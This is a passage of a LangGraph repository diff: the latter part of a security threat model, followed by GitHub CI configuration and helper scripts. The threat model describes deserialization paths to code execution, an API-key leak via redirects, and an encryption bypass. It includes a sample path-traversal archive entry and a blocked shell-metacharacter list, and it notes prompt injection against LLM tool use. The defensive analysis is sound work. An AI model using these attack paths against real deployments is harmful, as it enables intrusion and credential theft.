`checkpointer`, `ui`, `ui_config` sections. +- **Validation**: Schema validation in `validate_config_file()` (`libs/cli/langgraph_cli/config.py:validate_config_file`). Config values embedded in Dockerfile via `json.dumps()` in single-quoted `ENV` lines (`libs/cli/langgraph_cli/config.py:python_config_to_docker`). Build command content validation (`libs/cli/langgraph_cli/config.py:has_disallowed_build_command_content`) blocks shell metacharacters. +- **Trust assumption**: `langgraph.json` is developer-authored. Single quotes in config values could break Dockerfile `ENV` syntax. + +#### DF11: Checkpoint Storage -> BaseCache + +- **Data**: Cached task results stored via `BaseCache.set()` and retrieved via `BaseCache.get()`. +- **Validation**: Uses `JsonPlusSerializer(pickle_fallback=False)` by default (`libs/checkpoint/langgraph/cache/base/__init__.py:BaseCache`). Subject to same msgpack deserialization behavior as DF1 (allowed_modules defaults based on `LANGGRAPH_STRICT_MSGPACK`). +- **Trust assumption**: Cache storage has same access controls as checkpoint storage. + +#### DF12-13: Server -> SDK -> Redirect Target (API Key Leak) + +- **Data**: Server provides `Location` header in HTTP response. SDK follows the redirect and sends all original request headers (including `x-api-key`) to the target URL. +- **Validation**: **None** on Location URL. No allowlist, no same-origin check, no header stripping on cross-origin redirect. +- **Trust assumption**: The LangGraph Server is trusted to not redirect to malicious URLs. Violated if server is compromised. + +#### DF14: Pregel State -> ToolNode (Runtime Injection) + +- **Data**: Graph state dict (InjectedState), BaseStore instance (InjectedStore), ToolRuntime object (containing state, config, store, context, stream_writer, tool_call_id). +- **Validation**: Injection targets determined by tool type annotations at compile time. Injected values overwrite any LLM-provided values with matching keys (safe merge order). Pydantic validation on tool input drops extra keys not in the tool's declared schema. +- **Trust assumption**: System-injected values are trusted; LLM-provided values cannot interfere due to merge order guarantees. + +#### DF15: Developer Code -> SDK Encryption Handlers + +- **Data**: Async Python callables registered via decorators for blob/JSON encryption/decryption and context derivation. +- **Validation**: `_validate_handler` checks async-ness and 2-param signature for encrypt/decrypt handlers. `DuplicateHandlerError` prevents double registration. **Gap**: `Encryption.context()` method does NOT call `_validate_handler` — a sync function or wrong param count passes registration and fails only at server-side invocation (`libs/sdk-py/langgraph_sdk/encryption/__init__.py:Encryption.context`). +- **Trust assumption**: Handler authors are application developers with server-level trust. + +--- + +## Threats + +| ID | Data Flow | Classification | Threat | Boundary | Severity | Validation | Code Reference | +|----|-----------|----------------|--------|----------|----------|------------|----------------| +| T1 | DF1, DF11 | DC3 | Arbitrary code execution via msgpack deserialization when strict mode is OFF (default) | TB2 | High | Verified | `libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:_create_msgpack_ext_hook` | +| T2 | DF1 | DC3 | Arbitrary code execution via `pickle.loads` when `pickle_fallback=True` | TB2 | High | Verified | `libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:JsonPlusSerializer.loads_typed` | +| T3 | DF1 | DC3 | Arbitrary module import/execution via JSON `lc:2` constructor when `allowed_json_modules=True` | TB2 | High | Verified | `libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:JsonPlusSerializer._revive_lc2` | +| T4 | DF5 | — | Unvalidated dict-splatting from remote API into `Interrupt`/`Command` objects | TB3 | Medium | Likely | `libs/langgraph/langgraph/pregel/remote.py:RemoteGraph.stream` | +| T5 | DF6, DF7 | — | Dockerfile ENV injection via single-quote in `langgraph.json` config values | TB4 | Low | Likely | `libs/cli/langgraph_cli/config.py:python_config_to_docker` | +| T6 | DF7 | — | ZIP slip in `langgraph new` template extraction | TB4 | Low | Unverified | `libs/cli/langgraph_cli/templates.py:_download_repo_with_requests` | +| T7 | DF10 | DC2 | AES key entropy limited to printable characters via env var string encoding | TB2 | Info | — | `libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:EncryptedSerializer.from_pycryptodome_aes` | +| T8 | DF10 | DC2 | EncryptedSerializer cipher name check uses `assert` (stripped with `python -O`) | TB2 | Low | Verified | `libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:PycryptodomeAesCipher.decrypt` | +| T9 | DF12, DF13 | DC1 | SDK API key leak via server-controlled Location redirect to attacker-controlled URL | TB3 | Medium | Verified | `libs/sdk-py/langgraph_sdk/_async/http.py:HttpClient.request_reconnect`, `libs/sdk-py/langgraph_sdk/_async/http.py:HttpClient.stream` | +| T10 | DF1 | DC3 | EncryptedSerializer silently accepts unencrypted data — attacker bypasses encryption by writing plain type tags | TB2 | Medium | Verified | `libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:EncryptedSerializer.loads_typed` | +| T11 | DF1, DF11 | DC3, DC6 | Unbounded retention of checkpoint data containing PII/conversation history | TB2 | Medium | — | `libs/checkpoint/langgraph/checkpoint/base/__init__.py:BaseCheckpointSaver` | + +### Threat Details + +#### T1: Msgpack Deserialization RCE (Default Config) + +- **Flow**: DF1 (Checkpoint Storage -> JsonPlusSerializer), DF11 (Checkpoint Storage -> BaseCache) +- **Description**: When `LANGGRAPH_STRICT_MSGPACK` is not set (the default), the msgpack `_create_msgpack_ext_hook` allows **any** `(module, class)` pair stored in checkpoint data to be imported via `importlib.import_module` and instantiated with attacker-controlled arguments. The `SAFE_MSGPACK_TYPES` allowlist (47 entries) is checked first, but unregistered types are logged as warnings and allowed through when `allowed_modules=True` (the default when strict mode is off). Seven EXT codes are processed: `EXT_CONSTRUCTOR_SINGLE_ARG` (0), `EXT_CONSTRUCTOR_POS_ARGS` (1), `EXT_CONSTRUCTOR_KW_ARGS` (2), `EXT_METHOD_SINGLE_ARG` (3), `EXT_PYDANTIC_V1` (4), `EXT_PYDANTIC_V2` (5), `EXT_NUMPY_ARRAY` (6). The `BaseCache` component uses `JsonPlusSerializer(pickle_fallback=False)` but inherits the same msgpack `allowed_modules` default behavior. The proposed `RestrictedUnpickler` (`secure_pickle.py`) documented in `SECURITY_FIX_SUMMARY.md` was never merged — pickle remains unrestricted when enabled. +- **Preconditions**: Attacker must have write access to the checkpoint database (PostgreSQL or SQLite). This requires compromised database credentials or a co-located attacker. + +#### T2: Pickle Deserialization RCE + +- **Flow**: DF1 (Checkpoint Storage -> JsonPlusSerializer) +- **Description**: When `pickle_fallback=True` is explicitly passed to `JsonPlusSerializer`, checkpoint data with type tag `"pickle"` is deserialized via `pickle.loads()` with zero restrictions (`libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:JsonPlusSerializer.loads_typed`). +- **Preconditions**: (1) Application or checkpointer explicitly enables `pickle_fallback=True`. (2) Attacker writes `("pickle", )` to checkpoint storage. + +#### T3: JSON lc:2 Constructor RCE + +- **Flow**: DF1 (Checkpoint Storage -> JsonPlusSerializer) +- **Description**: The JSON `_reviver` handles `lc:2` type constructors by importing the module path from checkpoint JSON data via `importlib.import_module` (`libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:JsonPlusSerializer._revive_lc2`). If `allowed_json_modules=True` (explicit opt-in), any module reachable in the Python environment can be imported and instantiated. The method also supports method chaining — a `method` key in the JSON can call arbitrary methods on the imported class. +- **Preconditions**: (1) `allowed_json_modules` set to `True` (not the default). (2) Attacker writes crafted JSON to checkpoint storage. + +#### T4: RemoteGraph Unvalidated Inbound Data + +- **Flow**: DF5 (RemoteGraph -> Pregel) +- **Description**: Stream events from the remote LangGraph Server are deserialized from JSON and dict-splatted into `Interrupt(**i)` and `Command(**chunk.data)` without schema validation (`libs/langgraph/langgraph/pregel/remote.py:RemoteGraph.stream`). A compromised or malicious remote server can inject unexpected fields. `Command.update` can carry arbitrary state modifications; `Command.goto` can alter graph execution flow. `Interrupt` accepts `**deprecated_kwargs` which includes a `ns` parameter that can override interrupt ID generation via `xxh3_128_hexdigest`. +- **Preconditions**: User connects `RemoteGraph` to a compromised or attacker-controlled server URL. + +#### T5: Dockerfile ENV Single-Quote Injection + +- **Flow**: DF6, DF7 (langgraph.json -> CLI -> Dockerfile) +- **Description**: Config values from `langgraph.json` are serialized via `json.dumps()` and embedded in single-quoted `ENV` directives across multiple config sections (store, auth, encryption, http, webhooks, checkpointer, ui, ui_config, graphs). JSON does not escape single quotes, so a config value containing `'` could break the Dockerfile syntax or inject additional Dockerfile instructions. The pattern is duplicated in two Dockerfile generation functions (`libs/cli/langgraph_cli/config.py:python_config_to_docker` and `libs/cli/langgraph_cli/config.py:node_config_to_docker`). +- **Preconditions**: A `langgraph.json` config value contains a single quote character. + +#### T6: ZIP Slip in Template Extraction + +- **Flow**: DF7 (CLI template download) +- **Description**: `langgraph new` downloads a ZIP from GitHub and uses `zip_file.extractall(path)`. If the archive contains path-traversal entries (e.g., `../../etc/cron.d/exploit`), files could be written outside the target directory. +- **Preconditions**: The GitHub-hosted template archive must contain malicious path entries. This requires compromise of the upstream template repo. + +#### T7: AES Key Entropy via Environment Variable + +- **Flow**: DF10 (User config -> EncryptedSerializer) +- **Description**: The AES key is loaded from `LANGGRAPH_AES_KEY` as a UTF-8 string and `.encode()`d to bytes (`libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:EncryptedSerializer.from_pycryptodome_aes`). This limits key entropy to printable characters (~6.57 bits/byte vs. 8 bits/byte for random bytes), reducing effective key strength for AES-128 from 128 bits to ~105 bits. +- **Preconditions**: User relies on environment variable path for key loading (vs. passing raw bytes directly via `key=` parameter). + +#### T8: EncryptedSerializer Assert Bypass + +- **Flow**: DF10 (Encrypted checkpoint data) +- **Description**: The cipher name check in `decrypt()` uses `assert ciphername == "aes"` (`libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:PycryptodomeAesCipher.decrypt`), which is stripped when Python runs with `-O` (optimize) flag. The `ciphername` value comes from the type tag in checkpoint storage (split from the `type+cipher` format). +- **Preconditions**: Python running with `-O` flag AND attacker can write to checkpoint storage. + +#### T9: SDK API Key Leak via Server-Controlled Location Redirect + +- **Flow**: DF12 (Server -> SDK), DF13 (SDK -> Redirect target) +- **Description**: The SDK's `HttpClient.request_reconnect()` (`libs/sdk-py/langgraph_sdk/_async/http.py:HttpClient.request_reconnect`) follows server-provided `Location` headers and forwards the full `request_headers` dict (including the `x-api-key` authentication header) to the redirected URL. The `HttpClient.stream()` method (`libs/sdk-py/langgraph_sdk/_async/http.py:HttpClient.stream`) also follows `Location` headers for SSE reconnection and forwards `reconnect_headers` (which include `x-api-key`) to the server-controlled URL. No URL validation, same-origin check, or sensitive header stripping is performed before following the redirect. The same pattern exists in the sync client (`libs/sdk-py/langgraph_sdk/_sync/http.py`). +- **Preconditions**: (1) User connects SDK to a LangGraph Server that is compromised or attacker-controlled. (2) The server returns a response with a `Location` header pointing to an attacker-controlled URL. + +#### T10: EncryptedSerializer Encryption Bypass via Unencrypted Data Injection + +- **Flow**: DF1 (Checkpoint Storage -> EncryptedSerializer) +- **Description**: `EncryptedSerializer.loads_typed()` (`libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:EncryptedSerializer.loads_typed`) checks if the type tag contains a `+` delimiter. If it does not (e.g., type tag is `"msgpack"` instead of `"msgpack+aes"`), the data is passed directly to the inner serde's `loads_typed()` **without any decryption or MAC verification**. An attacker with write access to checkpoint storage can bypass the encryption layer entirely by writing data with a plain type tag. +- **Preconditions**: (1) Application uses `EncryptedSerializer` for checkpoint protection. (2) Attacker has write access to checkpoint storage. + +#### T11: Unbounded Checkpoint Data Retention + +- **Flow**: DF1, DF11 (Checkpoint Storage lifecycle) +- **Description**: Checkpoint data (DC3, DC6) is retained indefinitely by default. No built-in TTL, pruning, or data lifecycle management in the library-level checkpoint savers. Conversation history containing user PII may accumulate without bounds. +- **Preconditions**: Application uses checkpointing (the primary use case). No explicit cleanup configured. + +--- + +## Input Source Coverage + +| Input Source | Data Flows | Threats | Validation Points | Responsibility | Gaps | +|-------------|-----------|---------|-------------------|----------------|------| +| User direct input (graph state, config) | DF8 | — | Graph structure validation (`libs/langgraph/langgraph/pregel/_validate.py:validate_graph`), channel type enforcement (`libs/langgraph/langgraph/channels/base.py:BaseChannel`), sensitive key filtering (`libs/langgraph/langgraph/_internal/_config.py:_exclude_as_metadata`) | User | Node implementation safety is user's responsibility | +| LLM output (tool calls) | DF3, DF4, DF14 | — | Tool name allowlist (`libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._validate_tool_call`), tool Pydantic schemas, injection merge order (`libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._inject_tool_args`), `tool_call_schema` filtering of injected params | Shared (project validates name and injection safety; user validates args via tool schema) | No ToolNode-level argument sanitization beyond injection overwrite | +| Checkpoint storage data | DF1, DF2, DF11 | T1, T2, T3, T10 | Msgpack allowlist (`libs/checkpoint/langgraph/checkpoint/serde/_msgpack.py:SAFE_MSGPACK_TYPES` — 47 entries), msgpack method allowlist (`libs/checkpoint/langgraph/checkpoint/serde/_msgpack.py:SAFE_MSGPACK_METHODS`), JSON allowlist (`libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:_check_allowed_json_modules`), pickle gating, serde event hooks, optional encryption | Shared (project owns serializer defaults; user owns DB access controls) | Default msgpack mode allows unregistered types; EncryptedSerializer accepts unencrypted data; proposed secure_pickle.py never merged | +| Remote API responses | DF5, DF9, DF12, DF13 | T4, T9 | Outbound config sanitization (`libs/langgraph/langgraph/pregel/remote.py:_sanitize_config`); no inbound validation; no redirect URL validation | User (user chooses which server to trust) | No inbound schema validation; API key forwarded on redirects | +| Configuration (langgraph.json) | DF6, DF7 | T5 | JSON schema validation (`libs/cli/langgraph_cli/config.py:validate_config_file`), build command content validation (`libs/cli/langgraph_cli/config.py:has_disallowed_build_command_content`), list-based subprocess args, WebhookUrlPolicy (`libs/cli/langgraph_cli/schemas.py:WebhookUrlPolicy`) | User (developer-controlled file) | Single-quote not escaped in ENV embedding | +| Configuration (env vars) | DF10 | T7, T8 | AES key length validation, EAX MAC verification | User (deployer controls env) | Key entropy, assert-based check | +| Developer encryption handlers | DF15 | — | Handler signature validation (`libs/sdk-py/langgraph_sdk/encryption/__init__.py:_validate_handler`), duplicate prevention | User (developer-authored code) | `context()` handler missing `_validate_handler` call | + +--- + +## Out-of-Scope Threats + +Threats that appear valid in isolation but fall outside project responsibility because they depend on conditions the project does not control. + +| Pattern | Why Out of Scope | Project Responsibility Ends At | +|---------|-----------------|-------------------------------| +| Prompt injection leading to arbitrary tool execution | Project does not control LLM model behavior, user prompt construction, or which tools are registered. ToolNode routes by name only to user-registered tools. | Providing tool name allowlist routing (`libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._validate_tool_call`); user owns tool registration and argument handling | +| State poisoning via malicious node output | User-registered nodes (including `@task`-decorated functions) can write arbitrary values to channels. The framework executes nodes as provided. | Enforcing channel type contracts (`libs/langgraph/langgraph/channels/base.py:BaseChannel.update`); user owns node implementation correctness | +| Cross-session state access via thread_id guessing | Checkpoint savers index by `thread_id`. Without application-level auth, any caller with a valid thread_id can access that thread's state. | Providing the `Auth` handler system for access control (`libs/sdk-py/langgraph_sdk/auth/__init__.py:Auth`); user must implement auth handlers | +| Tool shadowing via duplicate registration | If a user registers two tools with the same name, ToolNode uses the last one. This is user misconfiguration. | Documenting tool registration semantics | +| Indirect prompt injection via tool output | LLM reads tool output and may follow injected instructions. This is a fundamental LLM limitation, not a framework vulnerability. | Not including tool output in system prompts; user owns output handling | +| Model selecting dangerous tool arguments | An LLM may generate SQL injection, path traversal, or command injection payloads as tool arguments. The risk depends entirely on what the user's tools do with those arguments. | Routing tool calls to registered tools only; user owns tool input validation | +| RCE via user-provided node code | `add_node()` and `@entrypoint`/`@task` accept arbitrary callables. A malicious node can do anything. This is by design — the user controls their own code. | Executing nodes within the graph runtime; user owns node code safety | +| SSRF via RemoteGraph URL | User provides the `url` parameter to `RemoteGraph`. Pointing it at an internal service is the user's decision. | Documenting that `url` should be a trusted endpoint; user owns URL selection | +| Malicious SDK Encryption handler | Encryption handlers are developer-authored server-side code. A malicious handler has full process access, equivalent to any application code. | Validating handler signature (async, param count); handler behavior is the developer's responsibility | + +### Rationale + +**Prompt injection and tool execution**: LangGraph's `ToolNode` validates tool names against the registered set but does not inspect or sanitize argument values. This is the correct boundary — the framework cannot know what constitutes a "safe" argument for an arbitrary user-defined tool. The tool's own Pydantic schema and implementation must validate inputs. The framework's responsibility is to not execute unregistered tools and to correctly route registered ones. The injection system (InjectedState/InjectedStore/ToolRuntime) is safe because system-injected values always overwrite LLM-supplied collisions via dict merge order, and injected parameter names are hidden from the LLM's tool schema. + +**State integrity**: LangGraph channels enforce type contracts (e.g., `LastValue` accepts one value per step, `BinaryOperatorAggregate` applies a reducer). The framework validates graph structure at compile time (`libs/langgraph/langgraph/pregel/_validate.py:validate_graph`). However, the semantic correctness of state updates is the user's responsibility — the framework cannot know what values are "valid" for a user-defined state schema. + +**Checkpoint access control**: The framework provides `BaseCheckpointSaver` as an abstract interface and the `Auth` handler system for authorization (`libs/sdk-py/langgraph_sdk/auth/__init__.py:Auth`). It does not enforce authentication by default because it operates as a library, not a server. The `langgraph-api` server layer (out of scope) is responsible for enforcing auth on API endpoints. Users embedding LangGraph directly must implement their own access controls. + +**Encryption handler safety**: The SDK Encryption module (`libs/sdk-py/langgraph_sdk/encryption/`) provides a registration framework for developer-authored encryption handlers. These handlers run server-side with full process access, identical to any application code. A buggy or malicious handler could return crafted data, but this is the same trust model as any developer-written code. The SDK validates handler shape (async, 2-param) but not handler behavior — this is the correct boundary for developer-trust-level code. + +--- + +## Investigated and Dismissed + +| ID | Original Threat | Investigation | Evidence | Conclusion | +|----|----------------|---------------|----------|------------| +| D1 | SQL injection via filter keys in PostgreSQL store | Traced filter key handling through `libs/checkpoint-postgres/langgraph/store/postgres/base.py:_get_filter_condition`. All filter operations use parameterized queries with `%s` placeholders. Keys map to `json_extract` path operators with type-safe wrappers. | `libs/checkpoint-postgres/langgraph/store/postgres/base.py:_get_filter_condition` — parameterized `%s` for all value bindings; key names used in `value->%s` path expressions are also parameterized | Disproven: All SQL operations in PostgreSQL store are fully parameterized. No injection vector. | +| D2 | SQL injection via filter keys in SQLite store (post-fix) | Traced current filter handling through `libs/checkpoint-sqlite/langgraph/store/sqlite/base.py` and `libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/utils.py:_validate_filter_key`. Regex `^[a-zA-Z0-9_.-]+$` applied to all filter keys before use in `json_extract()` expressions. | `libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/utils.py:_validate_filter_key` — regex validation blocks injection characters. Published advisories GHSA-9rwj-6rc7-p77c and GHSA-7p73-8jqx-23r8 confirmed fixed. | Disproven: SQL injection in SQLite store filter keys is remediated by regex validation. | +| D3 | Command injection via CLI subprocess execution | Traced CLI subprocess invocation path. `libs/cli/langgraph_cli/exec.py:subp_exec` uses `asyncio.create_subprocess_exec` with list-based arguments (not `shell=True`). `has_disallowed_build_command_content` blocks shell metacharacters in user-provided Dockerfile lines. | `libs/cli/langgraph_cli/exec.py:subp_exec` — explicit exec-style invocation; `libs/cli/langgraph_cli/config.py:has_disallowed_build_command_content` — regex blocks `\|`, `;`, `$`, `>`, `<`, backtick, `\`, single `&` | Disproven: CLI uses exec-style subprocess and validates build command content. No shell injection vector. | +| D4 | Tool argument injection via InjectedState/InjectedStore dict-splatting | Investigated whether LLM-generated tool call arguments could override system-injected values (InjectedState, InjectedStore, ToolRuntime) via key collision in the dict merge at `libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._inject_tool_args` line 1380. Traced four independent defense layers. | (1) `tool_call_schema` at langchain-core `base.py` filters injected params from LLM schema. (2) `{**llm_args, **injected_args}` merge puts system values last — system wins on collision. (3) Pydantic `model_validate` with `extra="ignore"` drops unknown keys. (4) Output construction at `base.py` only includes declared model fields. | Disproven: Four-layer defense prevents LLM arguments from overriding system-injected values. Merge order guarantees system values win. No adversarial collision path exists. | + +--- + +## External Context + +### Published Security Advisories + +| GHSA ID | Severity | Summary | CWEs | Relevance | +|---------|----------|---------|------|-----------| +| GHSA-g48c-2wqr-h844 | Medium | Unsafe msgpack deserialization in LangGraph checkpoint loading | — | Directly relates to T1 — patched in 1.0.10, confirms attack path via crafted msgpack payloads | +| GHSA-mhr3-j7m5-c7c9 | Medium | BaseCache Deserialization RCE | CWE-502 | Directly relates to T1 — msgpack deserialization in cache layer | +| GHSA-9rwj-6rc7-p77c | High | SQL injection via metadata filter key in SQLite checkpointer | CWE-89 | Fixed via `_validate_filter_key()` regex — see D2 | +| GHSA-wwqv-p2pp-99h5 | High | RCE in JSON mode of JsonPlusSerializer | CWE-502 | Directly relates to T3 — `lc:2` constructor import | +| GHSA-7p73-8jqx-23r8 | High | SQLite Filter Key SQL Injection in SqliteStore | CWE-89 | Fixed via `_validate_filter_key()` regex — see D2 | + +**Pattern**: 3 of 5 published advisories involve CWE-502 (insecure deserialization) in the checkpoint serialization layer. This confirms the checkpoint storage boundary (TB2) as the highest-risk area. The extensive closed advisory history (~15 deserialization bypass attempts) further validates this assessment. No new published advisories since the prior assessment (2026-03-27). + + +--- + +## Revision History + +| Date | Author | Changes | +|------|--------|---------| +| 2026-03-04 | Generated | Initial threat model | +| 2026-03-04 | Updated | Added C13 (Functional API), C14 (BaseCache), DF11. Updated T1 for BaseCache/serde event hooks. Added GHSA-mhr3-j7m5-c7c9 and GHSA-9rwj-6rc7-p77c. Updated CLI config scope. Added External Context section. | +| 2026-03-27 | Deep refinement | **Mode upgraded to Deep.** Added: Data Classification section (DC1-DC8 with detailed analysis for Critical/High entries). Added: C15 (Serde Event Hooks), C16 (Auth System). Added: Default? column to Components. Added: Classification column to Data Flows. Added: DF12-DF13 (SDK redirect flows). Added: T9 (SDK API key leak via Location redirect), T10 (EncryptedSerializer encryption bypass), T11 (unbounded checkpoint retention). Added: Validation column to Threats with flaw validation for High/Critical. Added: Investigated and Dismissed section (D1-D3: SQL injection and CLI command injection disproven). Added: Input Source Coverage section. Updated external context with GHSA-g48c-2wqr-h844 (new published advisory). Updated all code references to file:SymbolName notation. Expanded trust boundary details. | +| 2026-03-30 | Diagram and Default? corrections | Fixed architecture diagram: merged "User Code" and "User-Registered Tools" into single "User Application Code" boundary; removed @entrypoint/@task as separate diagram elements (both compile to Pregel — authoring style, not separate component). Fixed Default? column: C3 ToolNode → No (explicit opt-in required); C8 CLI → No (separate install). | +| 2026-03-28 | Deep update | **Added:** C17 (SDK Encryption Handlers — beta at-rest encryption framework). DC9 (SDK Encryption context metadata). TB5 (SDK Encryption Handler boundary). DF14 (ToolRuntime injection flow), DF15 (Encryption handler registration flow). D4 (Tool argument injection via InjectedState dict-splatting — disproven with 4-layer defense evidence). **Updated:** C1 description (v1/v2 output, durability modes, interrupt_before/after). C2 description (SAFE_MSGPACK_TYPES now 47 entries including langchain_core messages, Document, GetOp). C3 description (InjectedState/InjectedStore/ToolRuntime injection support, _inject_tool_args entry point). C8 description (WebhookUrlPolicy for SSRF protection). TB1 details (tool injection merge order guarantees). TB2 details (47 safe types, updated allowlist composition). TB4 details (WebhookUrlPolicy). DF4 description (injection merge semantics). T1 details (noted secure_pickle.py proposed but never merged). T4 details (Interrupt deprecated_kwargs ns parameter). Input Source Coverage (LLM output row updated with injection validation points, encryption handler row added). Out-of-Scope Threats (malicious encryption handler pattern added). Commit updated to 0ba22143. External context confirmed no new published advisories. | diff --git a/.github/actions/uv_setup/action.yml b/.github/actions/uv_setup/action.yml new file mode 100644 index 0000000..1374177 --- /dev/null +++ b/.github/actions/uv_setup/action.yml @@ -0,0 +1,35 @@ +# Helper to set up Python and uv with caching + +name: uv-install +description: Set up Python and uv with caching + +inputs: + python-version: + description: Python version, supporting MAJOR.MINOR only + required: true + enable-cache: + description: Enable caching for uv dependencies + required: false + default: "true" + cache-suffix: + description: Custom cache key suffix for cache invalidation + required: false + default: "" + working-directory: + description: Working directory for cache glob scoping + required: false + default: "**" + +runs: + using: composite + steps: + - name: Install uv and set the python version + uses: astral-sh/setup-uv@37802adc94f370d6bfd71619e3f0bf239e1f3b78 # v7.6.0 + with: + python-version: ${{ inputs.python-version }} + enable-cache: ${{ inputs.enable-cache }} + cache-dependency-glob: | + ${{ inputs.working-directory }}/pyproject.toml + ${{ inputs.working-directory }}/uv.lock + ${{ inputs.working-directory }}/requirements*.txt + cache-suffix: ${{ inputs.cache-suffix }} diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..afffbbf --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,188 @@ +version: 2 +updates: + - package-ecosystem: "github-actions" + directory: "/" + schedule: + interval: "monthly" + groups: + minor-and-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + major: + patterns: + - "*" + update-types: + - "major" + + - package-ecosystem: "uv" + directory: "/libs/checkpoint" + schedule: + interval: "monthly" + groups: + minor-and-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + major: + patterns: + - "*" + update-types: + - "major" + + - package-ecosystem: "uv" + directory: "/libs/checkpoint-conformance" + schedule: + interval: "monthly" + groups: + minor-and-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + major: + patterns: + - "*" + update-types: + - "major" + + - package-ecosystem: "uv" + directory: "/libs/checkpoint-postgres" + schedule: + interval: "monthly" + groups: + minor-and-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + major: + patterns: + - "*" + update-types: + - "major" + + - package-ecosystem: "uv" + directory: "/libs/checkpoint-sqlite" + schedule: + interval: "monthly" + groups: + minor-and-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + major: + patterns: + - "*" + update-types: + - "major" + + - package-ecosystem: "uv" + directory: "/libs/cli" + schedule: + interval: "monthly" + groups: + minor-and-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + major: + patterns: + - "*" + update-types: + - "major" + + - package-ecosystem: "uv" + directory: "/libs/langgraph" + schedule: + interval: "monthly" + groups: + minor-and-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + major: + patterns: + - "*" + update-types: + - "major" + + - package-ecosystem: "uv" + directory: "/libs/prebuilt" + schedule: + interval: "monthly" + groups: + minor-and-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + major: + patterns: + - "*" + update-types: + - "major" + + - package-ecosystem: "uv" + directory: "/libs/sdk-py" + schedule: + interval: "monthly" + groups: + minor-and-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + major: + patterns: + - "*" + update-types: + - "major" + + - package-ecosystem: "npm" + directory: "/libs/cli/js-examples" + schedule: + interval: "monthly" + groups: + minor-and-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + major: + patterns: + - "*" + update-types: + - "major" + + - package-ecosystem: "npm" + directory: "/libs/cli/js-monorepo-example" + schedule: + interval: "monthly" + groups: + minor-and-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + major: + patterns: + - "*" + update-types: + - "major" diff --git a/.github/images/logo-dark.svg b/.github/images/logo-dark.svg new file mode 100644 index 0000000..948f973 --- /dev/null +++ b/.github/images/logo-dark.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/.github/images/logo-light.svg b/.github/images/logo-light.svg new file mode 100644 index 0000000..bbd06e1 --- /dev/null +++ b/.github/images/logo-light.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/.github/scripts/check_sdk_methods.py b/.github/scripts/check_sdk_methods.py new file mode 100644 index 0000000..48c7429 --- /dev/null +++ b/.github/scripts/check_sdk_methods.py @@ -0,0 +1,69 @@ +import ast +import os +from itertools import filterfalse +from typing import Dict, List, Tuple + +ROOT_PATH = os.path.abspath(os.path.join(__file__, "..", "..", "..")) +CLIENT_PATH = os.path.join(ROOT_PATH, "libs", "sdk-py", "langgraph_sdk", "client.py") +ASYNC_TO_SYNC_METHOD_MAP: Dict[str, str] = { + "aclose": "close", + "__aenter__": "__enter__", + "__aexit__": "__exit__", +} + + +def get_class_methods(node: ast.ClassDef) -> List[str]: + return [n.name for n in node.body if isinstance(n, (ast.FunctionDef, ast.AsyncFunctionDef))] + + +def find_classes(tree: ast.AST) -> List[Tuple[str, List[str]]]: + classes = [] + for node in ast.walk(tree): + if isinstance(node, ast.ClassDef): + methods = get_class_methods(node) + classes.append((node.name, methods)) + return classes + + +def compare_sync_async_methods(sync_methods: List[str], async_methods: List[str]) -> List[str]: + sync_set = set(sync_methods) + async_set = {ASYNC_TO_SYNC_METHOD_MAP.get(async_method, async_method) for async_method in async_methods} + missing_in_sync = list(async_set - sync_set) + missing_in_async = list(sync_set - async_set) + return missing_in_sync + missing_in_async + + +def main(): + with open(CLIENT_PATH, "r") as file: + tree = ast.parse(file.read()) + + classes = find_classes(tree) + + def is_sync(class_spec: Tuple[str, List[str]]) -> bool: + return class_spec[0].startswith("Sync") + + sync_class_name_to_methods = {class_name: class_methods for class_name, class_methods in filter(is_sync, classes)} + async_class_name_to_methods = {class_name: class_methods for class_name, class_methods in filterfalse(is_sync, classes)} + + mismatches = [] + + for async_class_name, async_class_methods in async_class_name_to_methods.items(): + sync_class_name = "Sync" + async_class_name + sync_class_methods = sync_class_name_to_methods.get(sync_class_name, []) + diff = compare_sync_async_methods(sync_class_methods, async_class_methods) + if diff: + mismatches.append((sync_class_name, async_class_name, diff)) + + if mismatches: + error_message = "Mismatches found between sync and async client methods:\n" + for sync_class_name, async_class_name, diff in mismatches: + error_message += f"{sync_class_name} vs {async_class_name}:\n" + for method in diff: + error_message += f" - {method}\n" + raise ValueError(error_message) + + print("All sync and async client methods match.") + + +if __name__ == "__main__": + main() diff --git a/.github/scripts/run_langgraph_cli_test.py b/.github/scripts/run_langgraph_cli_test.py new file mode 100644 index 0000000..e296ba7 --- /dev/null +++ b/.github/scripts/run_langgraph_cli_test.py @@ -0,0 +1,177 @@ +import logging +import pathlib +import sys +import time +from urllib import error, request + +import langgraph_cli +import langgraph_cli.config +import langgraph_cli.docker +from langgraph_cli.cli import prepare_args_and_stdin +from langgraph_cli.constants import DEFAULT_PORT +from langgraph_cli.exec import Runner, subp_exec +from 